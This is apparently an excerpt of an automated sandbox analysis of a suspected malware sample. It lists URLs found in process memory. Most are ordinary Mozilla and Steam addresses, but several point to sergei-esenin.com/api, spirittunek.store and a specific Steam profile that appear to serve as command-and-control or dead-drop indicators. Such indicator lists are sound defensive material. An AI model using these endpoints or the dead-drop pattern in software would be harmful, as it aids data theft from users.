Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/accounts/profile/?utm_medium=firefox-desktop&utm_source=modal&utm_campaign
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://relay.firefox.com/api/v1/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: 3f779c1cca.exe, 0000000E.00000003.3078062554.0000000005220000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: 3f779c1cca.exe, 0000000B.00000003.2963511437.0000000001222000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2963558725.0000000001223000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960551595.000000000121F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/-Control
Source: 3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/4
Source: 3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/;TZ
Source: 3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/?
Source: 3f779c1cca.exe, 0000000E.00000003.3147599105.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3148556331.0000000005232000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/CCAQIYAA==e
Source: file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/Vp_73
Source: 3f779c1cca.exe, 0000000E.00000003.3100069911.000000000522F000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3109186444.000000000522C000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3095999174.0000000005221000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3096679573.000000000522C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/XkggES
Source: file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2294636893.00000000016AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 3f779c1cca.exe, 0000000B.00000003.2964570009.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998595500.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3116822303.00000000059A7000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945056840.0000000001218000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998973624.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977842849.00000000059B1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960551595.000000000121F000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3203526789.0000000005211000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.000000000071D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api4T
Source: 3f779c1cca.exe, 0000000B.00000003.2945056840.0000000001218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiR
Source: 3f779c1cca.exe, 0000000E.00000003.3203526789.0000000005211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apia
Source: 3f779c1cca.exe, 0000000E.00000003.3203526789.0000000005211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apier
Source: file.exe, 00000000.00000003.2217084641.0000000001662000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apii
Source: file.exe, 00000000.00000003.2559608605.0000000001698000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2559254561.0000000001694000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apis
Source: 3f779c1cca.exe, 0000000E.00000003.3053464149.0000000000743000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiw
Source: 3f779c1cca.exe, 0000000E.00000003.3135184648.000000000522E000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3200844550.0000000005230000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/cT
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.0000000001212000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/o
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2998700446.000000000122C000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2999066594.000000000122B000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/api
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/apiRaj6
Source: firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 00000023.00000002.3205919876.000002290829E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.000000000071D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=b
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcaH
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/mx
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: file.exe, 00000000.00000003.2216660119.0000000001623000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001623000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.000000000071D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: file.exe, 00000000.00000003.2216660119.0000000001623000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001623000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900Z
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053500783.0000000000705000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2216660119.0000000001617000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: file.exe, 00000000.00000003.2216660119.0000000001617000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba2
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
